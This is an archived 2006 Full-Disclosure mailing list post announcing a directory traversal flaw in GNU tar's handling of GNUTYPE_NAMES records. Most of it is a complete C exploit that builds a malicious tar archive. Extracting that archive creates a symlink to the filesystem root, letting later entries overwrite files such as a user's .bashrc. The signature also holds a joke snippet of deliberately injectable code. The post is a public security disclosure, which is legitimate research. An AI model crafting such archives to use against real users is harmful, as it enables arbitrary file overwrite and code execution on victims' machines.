lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 22 Nov 2006 00:39:12 +0200
From: Teemu Salmela <teemu.salmela@....fi>
To: full-disclosure@...ts.grok.org.uk
Subject: GNU tar directory traversal

GNU tar directory traversal
----------------------------------------------------------------------------
What is it?
When i download a tar file (warez.tar.gz in this example) from the web and
run the following commands:

$ mkdir ~/warez
$ tar xzf warez.tar.gz -C ~/warez

, then i would expect that tar doesn't create or replace any files outside
the ~/warez directory. Today, i was browsing the GNU tar source code trying
to find a way to create/overwrite arbitrary files, and i found it!

Normal tar symlinks/hardlinks are handled correctly in GNU tar (i think),
but there is one tar record type, called GNUTYPE_NAMES (this is some kind
of GNU extension, i think), that allows me to create symbolic links
(inside the ~/warez directory, in this example) pointing to arbitrary
locations in the filesystem. In the exploit, i make a sybolic link called
"xyz", pointing to "/". After that record, more records would follow
that extract files to the "xyz" directory.

Version numbers:
----------------------------------------------------------------------------
I tested this on Ubuntu 6.06 LTS, GNU tar 1.16 and GNU tar 1.15.1 (this one
comes with Ubuntu)

Vulnerable code:
----------------------------------------------------------------------------
See extract_archive() in extract.c and extract_mangle() in mangle.c.

Exploit:
----------------------------------------------------------------------------

/*
 * tarxyz.c - GNU tar directory traversal exploit.
 * Written by Teemu Salmela.
 *
 * Example usage (creates a tar file that extracts /home/teemu/.bashrc):
 *   $ gcc -o tarxyz tarxyz.c
 *   $ ./tarxyz > ~/xyz.tar
 *   $ mkdir -p /tmp/xyz/home/teemu/
 *   $ cp ~/newbashrc.txt /tmp/xyz/home/teemu/.bashrc
 *   $ cd /tmp
 *   $ tar -rf ~/xyz.tar xyz/home/teemu
 */

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

struct posix_header
{                               /* byte offset */
  char name[100];               /*   0 */
  char mode[8];                 /* 100 */
  char uid[8];                  /* 108 */
  char gid[8];                  /* 116 */
  char size[12];                /* 124 */
  char mtime[12];               /* 136 */
  char chksum[8];               /* 148 */
  char typeflag;                /* 156 */
  char linkname[100];           /* 157 */
  char magic[6];                /* 257 */
  char version[2];              /* 263 */
  char uname[32];               /* 265 */
  char gname[32];               /* 297 */
  char devmajor[8];             /* 329 */
  char devminor[8];             /* 337 */
  char prefix[155];             /* 345 */
                                /* 500 */
};

#define GNUTYPE_NAMES 'N'

#define BLOCKSIZE       512

union block
{
  char buffer[BLOCKSIZE];
  struct posix_header header;
};

void
data(void *p, size_t size)
{
        size_t n = 0;
        char b[BLOCKSIZE];

        while (size - n > 512) {
                fwrite(&((char *)p)[n], 1, 512, stdout);
                n += 512;
        }
        if (size - n) {
                memset(b, 0, sizeof(b));
                memcpy(b, &((char *)p)[n], size - n);
                fwrite(b, 1, sizeof(b), stdout);
        }
}

int
main(int argc, char *argv[])
{
        char *link_name = "xyz";
        union block b;
        char *d;
        int i;
        unsigned int cksum;

        if (argc > 1)
                link_name = argv[1];

        if (asprintf(&d, "Symlink / to %s\n", link_name) < 0) {
                fprintf(stderr, "out of memory\n");
                exit(1);
        }
        memset(&b, 0, sizeof(b));
        strcpy(b.header.name, "xyz");
        strcpy(b.header.mode, "0000777");
        strcpy(b.header.uid, "0000000");
        strcpy(b.header.gid, "0000000");
        sprintf(b.header.size, "%011o", strlen(d));
        strcpy(b.header.mtime, "00000000000");
        strcpy(b.header.chksum, "        ");
        b.header.typeflag = GNUTYPE_NAMES;
        strcpy(b.header.magic, "ustar  ");
        strcpy(b.header.uname, "root");
        strcpy(b.header.gname, "root");
        for (cksum = 0, i = 0; i < sizeof(b); i++)
                cksum += b.buffer[i] & 0xff;
        sprintf(b.header.chksum, "%06o ", cksum);
        fwrite(&b, 1, sizeof(b), stdout);
        data(d, strlen(d));
}

-- 
fscanf(socket,"%s",buf); printf(buf);
sprintf(query, "SELECT %s FROM table", buf);
sprintf(cmd, "echo %s | sqlquery", query); system(cmd);
Teemu Salmela 


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ